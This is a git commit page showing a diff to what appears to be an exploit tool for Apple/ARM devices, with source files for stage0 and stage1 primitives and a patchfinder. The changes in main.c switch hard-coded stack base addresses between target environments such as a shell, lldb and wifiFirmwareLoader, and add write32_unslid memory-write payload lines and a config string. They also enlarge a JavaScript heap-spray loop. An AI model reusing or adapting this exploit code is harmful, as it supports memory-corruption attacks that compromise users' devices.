diff options
| author | spv420 <unomilliono@gmail.com> | 2022-04-23 16:23:39 -0400 |
|---|---|---|
| committer | spv420 <unomilliono@gmail.com> | 2022-04-23 16:23:39 -0400 |
| commit | 3dea872119219789ff85daef37f059eefc709871 (patch) | |
| tree | 1ff06b8e1980b034eb9a7b5aa20d29b19780573d /src | |
| parent | d7cf3795b6da29a8ec7a6b7fc1245b70ff9d3dca (diff) | |
shitdick
Diffstat (limited to 'src')
| -rw-r--r--[-rwxr-xr-x] | src/common.h | 0 | ||||
| -rw-r--r--[-rwxr-xr-x] | src/ip_tools.c | 0 | ||||
| -rw-r--r--[-rwxr-xr-x] | src/ip_tools.h | 0 | ||||
| -rw-r--r-- | src/main.c | 11 | ||||
| -rw-r--r--[-rwxr-xr-x] | src/patchfinder.h | 0 | ||||
| -rw-r--r--[-rwxr-xr-x] | src/stage0_primitives.c | 0 | ||||
| -rw-r--r--[-rwxr-xr-x] | src/stage0_primitives.h | 0 | ||||
| -rw-r--r--[-rwxr-xr-x] | src/stage1_primitives.c | 0 | ||||
| -rw-r--r--[-rwxr-xr-x] | src/stage1_primitives.h | 0 |
9 files changed, 7 insertions, 4 deletions
diff --git a/src/common.h b/src/common.h index 9550400..9550400 100755..100644 --- a/src/common.h +++ b/src/common.h diff --git a/src/ip_tools.c b/src/ip_tools.c index 6e36b64..6e36b64 100755..100644 --- a/src/ip_tools.c +++ b/src/ip_tools.c diff --git a/src/ip_tools.h b/src/ip_tools.h index a011094..a011094 100755..100644 --- a/src/ip_tools.h +++ b/src/ip_tools.h @@ -202,11 +202,11 @@ int main(int argc, fprintf(fp, "# - with love from spv <3\n"); fprintf(fp, "\n"); -// uint32_t stack_base = 0x1c7738; // my shell setup + uint32_t stack_base = 0x1c7738; // my shell setup // uint32_t stack_base = 0x1c7c88; // my 4s shell setup // uint32_t stack_base = 0x1c2e48; // my lldb // uint32_t stack_base = 0x1c7d68; // btserver env - uint32_t stack_base = 0x1c7dd8; // wifiFirmwareLoader env +// uint32_t stack_base = 0x1c7dd8; // wifiFirmwareLoader env uint32_t magic_trigger_addr = 0xb6074; uint32_t mov_r0_0_bx_lr = 0x8d3e | 1; @@ -286,6 +286,9 @@ int main(int argc, 0x42424242)); #endif + fprintf(fp, "%s\n", write32_unslid(stack_base - 0x948, 0x41414141)); + fprintf(fp, "mode_cfg{dns41.1.1.1;}"); + #if 0 // fprintf(fp, // "%s\n", @@ -334,7 +337,7 @@ int main(int argc, "var parent = new Uint8Array(0x100);" "var child = new Uint8Array(0x100);" " var fuck = new Array();" - " for (var i = 0; i < 0x10000; i++) {" + " for (var i = 0; i < 0x200000; i++) {" " fuck[i] = i;" " }" " delete fuck;" @@ -343,7 +346,7 @@ int main(int argc, strlen("var parent = new Uint8Array(0x100);" "var child = new Uint8Array(0x100);" " var fuck = new Array();" - " for (var i = 0; i < 0x10000; i++) {" + " for (var i = 0; i < 0x200000; i++) {" " fuck[i] = i;" " }" " delete fuck;" diff --git a/src/patchfinder.h b/src/patchfinder.h index 21af7e3..21af7e3 100755..100644 --- a/src/patchfinder.h +++ b/src/patchfinder.h diff --git a/src/stage0_primitives.c b/src/stage0_primitives.c index b54cb1a..b54cb1a 100755..100644 --- a/src/stage0_primitives.c +++ b/src/stage0_primitives.c diff --git a/src/stage0_primitives.h b/src/stage0_primitives.h index a9a71eb..a9a71eb 100755..100644 --- a/src/stage0_primitives.h +++ b/src/stage0_primitives.h diff --git a/src/stage1_primitives.c b/src/stage1_primitives.c index ffe7b53..ffe7b53 100755..100644 --- a/src/stage1_primitives.c +++ b/src/stage1_primitives.c diff --git a/src/stage1_primitives.h b/src/stage1_primitives.h index d6b9c33..d6b9c33 100755..100644 --- a/src/stage1_primitives.h +++ b/src/stage1_primitives.h |
